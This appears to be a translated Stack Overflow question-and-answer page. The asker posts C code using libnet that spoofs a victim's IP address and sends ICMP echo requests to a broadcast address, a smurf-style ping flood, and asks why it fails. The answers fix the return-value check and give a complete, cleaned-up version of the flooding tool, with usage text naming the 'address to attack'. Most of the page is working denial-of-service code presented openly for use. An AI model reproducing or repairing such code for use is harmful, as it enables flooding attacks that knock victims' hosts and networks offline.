首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >libnet错误:成功

libnet错误:成功
EN

Stack Overflow用户
提问于 2017-12-16 05:17:23
回答 2查看 303关注 0票数 1

我正在尝试创建一个ping泛洪程序,它将目标ip地址和广播ip地址作为参数。该程序将发送icmp回声包到广播地址,并以victms的ip地址作为源。网络上收到数据包的所有主机都会将答案返回给受害者。

代码如下所示:

代码语言:javascript
复制
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>


void usage(char * pname)
{
    printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
    printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}

int main(int argc, char *argv[])
{
    if(argc != 3)
        usage(argv[0]);


    char errbuff[LIBNET_ERRBUF_SIZE];       
    libnet_t *l;                            
    uint16_t cmp_id;
    uint16_t ip_id; 
    for(int i=0; i<100; i++)
    {
    l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
    if(l==NULL)
    {
        fatal("in initializing the index of the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_seed_prand(l);
    cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
    ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

    if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
    {
        fatal("while trying to build icmpv4_echo packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
    {
        fatal("while trying to create ipv4 header...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_write(l) == -1)
    {
        fatal("while trying to write the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_destroy(l);
    }
    return 0;
}

当我运行它时,我得到这样的输出:

代码语言:javascript
复制
[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success

我正在使用libnet库来创建包,我感觉libnet_build_ipv4()函数中有某种错误。

有什么帮助和建议吗?

谢谢。

EN

回答 2

Stack Overflow用户

发布于 2017-12-16 07:34:51

关于:

代码语言:javascript
复制
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0) 

这不正确,返回值为0表示成功。

该语句应为:

代码语言:javascript
复制
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0) 

请注意从==!=的更改

票数 0
EN

Stack Overflow用户

发布于 2017-12-18 02:27:00

以下是建议的代码:

在出现任何错误后,

  1. 会干净地编译并链接到: formatted
  2. exits -ggdb -Wall -Wextra -Wconversion -pedantic -std=gnu11 libnet-config --defines untitled2.c -o untitled2 libnet-config --libs
  3. is consistently Untitled2.c,但是,您可能需要在创建对象后的任何退出点添加语句: libnet_destroy( libObject );。

注意事项尚未使用实际的URL进行测试

现在建议的代码是:

代码语言:javascript
复制
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>


void usage(char * pname);


int main(int argc, char *argv[])
{
    if(argc != 3)
    {
        usage(argv[0]);
        exit( EXIT_FAILURE );
    }

    char errbuff[LIBNET_ERRBUF_SIZE];
    uint16_t cmp_id;
    uint16_t ip_id;

    for( int i=0; i<100; i++ )
    {
        libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
        if( ! libObject )
        {
            fprintf( stderr, "%s\n",
                "in initializing the index of the packet...\nERROR: ");
            fprintf( stderr, "%s\n", libnet_geterror( libObject ));
        }

        libnet_seed_prand( libObject );
        cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
        ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

        if(libnet_build_icmpv4_echo(
            ICMP_ECHO,
            0,
            0,
            cmp_id,
            1,
            NULL,
            0,
            libObject,
            0) != 0)
        {
            fprintf( stderr, "%s\n",
                "while trying to build icmpv4_echo packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if( libnet_build_ipv4(
            LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
            0,
            ip_id,
            0,
            255,
            IPPROTO_ICMP,
            0,
            inet_addr(argv[1]),
            inet_addr(argv[2]),
            NULL,
            0,
            libObject,
            0) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to create ipv4 header...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if(libnet_write( libObject ) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to write the packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        libnet_destroy( libObject );
    }
    return 0;
}




void usage(char * pname)
{
    fprintf( stderr, "%s %s\n",
        pname,
        "sends fake icmp echo request to broadcast address "
        "in order to ping flood a device");
    fprintf( stderr, "USAGE: %s %s\n",
        pname,
        "[ipv4 address to attack] [ipv4 broadcast address]");
}

在没有参数的情况下运行代码会导致:

代码语言:javascript
复制
./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/47839967

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档